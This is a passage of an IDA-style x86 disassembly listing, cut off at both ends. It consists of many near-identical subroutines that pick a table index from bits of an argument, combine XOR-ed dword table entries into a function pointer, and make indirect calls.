[ebp+var_20], 0F6h mov [ebp+var_1C], 8Ah mov [ebp+var_18], 0C5h mov [ebp+var_14], 74h mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ABC28 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ABC28: ; CODE XREF: sub_4ABB97+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ABB97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ABC94 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA64o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 50h mov [ebp+var_2C], 0D7h mov [ebp+var_28], 2Dh mov [ebp+var_24], 8Eh mov [ebp+var_20], 4 mov [ebp+var_1C], 73h mov [ebp+var_18], 73h mov [ebp+var_14], 4Ch mov [ebp+var_10], 4 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 4 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ABD25 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ABD25: ; CODE XREF: sub_4ABC94+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ABC94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ABD91 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA68o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 3 mov [ebp+var_2C], 83h mov [ebp+var_28], 39h mov [ebp+var_24], 0AAh mov [ebp+var_20], 5Dh mov [ebp+var_1C], 0DFh mov [ebp+var_18], 3Eh mov [ebp+var_14], 40h mov [ebp+var_10], 0Ch mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ch and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ABE22 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ABE22: ; CODE XREF: sub_4ABD91+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ABD91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ABE8E proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA6Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0C1h mov [ebp+var_2C], 1 mov [ebp+var_28], 8Ah mov [ebp+var_24], 0C0h mov [ebp+var_20], 0A9h mov [ebp+var_1C], 0B1h mov [ebp+var_18], 1Ah mov [ebp+var_14], 0B2h mov [ebp+var_10], 15h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 15h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ABF1F mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ABF1F: ; CODE XREF: sub_4ABE8E+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ABE8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ABF8B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA70o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 5Dh mov [ebp+var_2C], 53h mov [ebp+var_28], 71h mov [ebp+var_24], 57h mov [ebp+var_20], 51h mov [ebp+var_1C], 82h mov [ebp+var_18], 0AEh mov [ebp+var_14], 0Fh mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC01C mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC01C: ; CODE XREF: sub_4ABF8B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ABF8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AC088 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA74o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 74h mov [ebp+var_2C], 0F2h mov [ebp+var_28], 7Eh mov [ebp+var_24], 1Bh mov [ebp+var_20], 0A1h mov [ebp+var_1C], 5Eh mov [ebp+var_18], 0E0h mov [ebp+var_14], 96h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC119 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC119: ; CODE XREF: sub_4AC088+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AC088 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AC185 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA78o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0E6h mov [ebp+var_2C], 0F4h mov [ebp+var_28], 9Ah mov [ebp+var_24], 8 mov [ebp+var_20], 70h mov [ebp+var_1C], 1Eh mov [ebp+var_18], 70h mov [ebp+var_14], 0B3h mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC216 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC216: ; CODE XREF: sub_4AC185+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AC185 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AC282 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA7Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 69h mov [ebp+var_2C], 0ACh mov [ebp+var_28], 0C6h mov [ebp+var_24], 93h mov [ebp+var_20], 9Bh mov [ebp+var_1C], 0BCh mov [ebp+var_18], 0Ah mov [ebp+var_14], 0 mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC313 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC313: ; CODE XREF: sub_4AC282+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AC282 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AC37F proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA80o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 55h mov [ebp+var_2C], 0AAh mov [ebp+var_28], 6Ah mov [ebp+var_24], 70h mov [ebp+var_20], 0E2h mov [ebp+var_1C], 96h mov [ebp+var_18], 13h mov [ebp+var_14], 65h mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC410 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC410: ; CODE XREF: sub_4AC37F+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AC37F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AC47C proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA84o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 27h mov [ebp+var_2C], 55h mov [ebp+var_28], 6Fh mov [ebp+var_24], 9Bh mov [ebp+var_20], 0C9h mov [ebp+var_1C], 38h mov [ebp+var_18], 8Dh mov [ebp+var_14], 62h mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC50A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC50A: ; CODE XREF: sub_4AC47C+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AC47C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AC576 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA88o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Fh mov [ebp+var_2C], 54h mov [ebp+var_28], 2Eh mov [ebp+var_24], 2Eh mov [ebp+var_20], 9Eh mov [ebp+var_1C], 25h mov [ebp+var_18], 43h mov [ebp+var_14], 85h mov [ebp+var_10], 12h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 12h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC607 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC607: ; CODE XREF: sub_4AC576+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AC576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AC673 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA8Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 6Fh mov [ebp+var_2C], 3 mov [ebp+var_28], 17h mov [ebp+var_24], 1Bh mov [ebp+var_20], 0A3h mov [ebp+var_1C], 2Dh mov [ebp+var_18], 0D2h mov [ebp+var_14], 0E4h mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC704 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC704: ; CODE XREF: sub_4AC673+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AC673 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AC770 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA90o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 98h mov [ebp+var_2C], 0B7h mov [ebp+var_28], 47h mov [ebp+var_24], 13h mov [ebp+var_20], 87h mov [ebp+var_1C], 0EFh mov [ebp+var_18], 38h mov [ebp+var_14], 1Dh mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC801 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC801: ; CODE XREF: sub_4AC770+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AC770 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AC86D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA94o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr 